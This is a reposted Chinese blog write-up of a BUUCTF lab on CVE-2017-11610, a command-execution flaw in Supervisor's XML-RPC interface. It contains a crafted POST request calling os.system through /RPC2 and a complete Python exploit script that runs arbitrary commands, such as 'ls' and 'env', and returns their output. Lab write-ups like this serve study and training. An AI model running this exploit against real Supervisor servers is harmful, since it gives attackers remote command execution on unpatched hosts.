博客
关于我
buuctf [Supervisor]CVE-2017-11610
阅读量:185 次
发布时间:2019-02-28

本文共 1572 字,大约阅读时间需要 5 分钟。

Supervisor XML-RPC服务器存在严重安全漏洞,远程攻击者可借助特制请求执行任意命令。

漏洞影响

Supervisor 3.0.1及更早版本,3.1.x系列的3.1.4及更早版本,3.2.x系列的3.2.4及更早版本,以及3.3.x系列的3.3.3及更早版本均受影响。

漏洞复现

通过POST请求到/RPC2端点,可调用supervisor.supervisord.options.warnings.linecache.os.system方法执行任意命令。例如,以下请求可创建文件:

POST /RPC2 HTTP/1.1Host: node3.buuoj.cn:29053User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: UM_distinctid=1785a4ff130456-0f22e64e92af97-4c3f227c-1fa400-1785a4ff131385; qSq_sid=TwroyT; qSq_visitedfid=2Upgrade-Insecure-Requests: 1Cache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 215
supervisor.supervisord.options.warnings.linecache.os.system
touch /tmp/success

验证

以下Python脚本可用于验证漏洞:

#!/usr/bin/env python3import xmlrpc.clientimport systarget = sys.argv[1]command = sys.argv[2]with xmlrpc.client.ServerProxy(target) as proxy:    old = getattr(proxy, 'supervisor.readLog')(0,0)    logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()    getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))    result = getattr(proxy, 'supervisor.readLog')(0,0)    print(result[len(old):])

运行脚本:

python exp.py “http://node3.buuoj.cn:29053” “ls”python exp.py “http://node3.buuoj.cn:29053” “env”

转载地址:http://ehci.baihongyu.com/

你可能感兴趣的文章
python在心理学研究中的应用有哪些_心理学在线研究可用平台简介和应用进展
查看>>
python在使用HTMLTestRunner时,报告为空,错误提示<_io.TextIOWrapper name='<stderr>' mode='w' encoding='utf_8'>...
查看>>
python在gpu上运行_【python】python开启GPU加速
查看>>
Python在def函数中使用for循环
查看>>
Python在def函数中使用for循环
查看>>
Python在Conda环境中,但在Windows虚拟环境中没有激活
查看>>
python系列【仅供参考】:python pip 错误 ModuleNotFoundError: No module named pip._internal 解决办法
查看>>
python图像条状状噪声,使用PYTHON PIL从验证码图像中删除背景嘈杂的线条
查看>>
Python图像处理:从内存加载jpeg
查看>>
python固定后缀(名物化词汇)词频统计:抽取+统计+可视化
查看>>
python商品评论数据采集与分析可视化系统 Flask框架 requests爬虫 NLP情感分析 毕业设计 源码
查看>>
python商品数据分析可视化系统(带爬虫)京东销售数据分析 计算机毕业设计 源码下载
查看>>
python商品库存管理系统 django框架 商品网站 MySQL数据库 源码下载 计算机毕业设计
查看>>
Python哪个版本最稳定好用2023.10.19
查看>>
Python和黑客技术的渊源
查看>>
Python和RF编写接口自动化
查看>>
Python和RF编写web自动化
查看>>
python和js哪个难_【Python】记一次学习,Python 与 js 在实现闭包时的差异
查看>>
python和java哪个更值得学——来自知乎高赞回答
查看>>
python和c混合编程 github_在pycharm中使用git版本管理以及同步github的方法
查看>>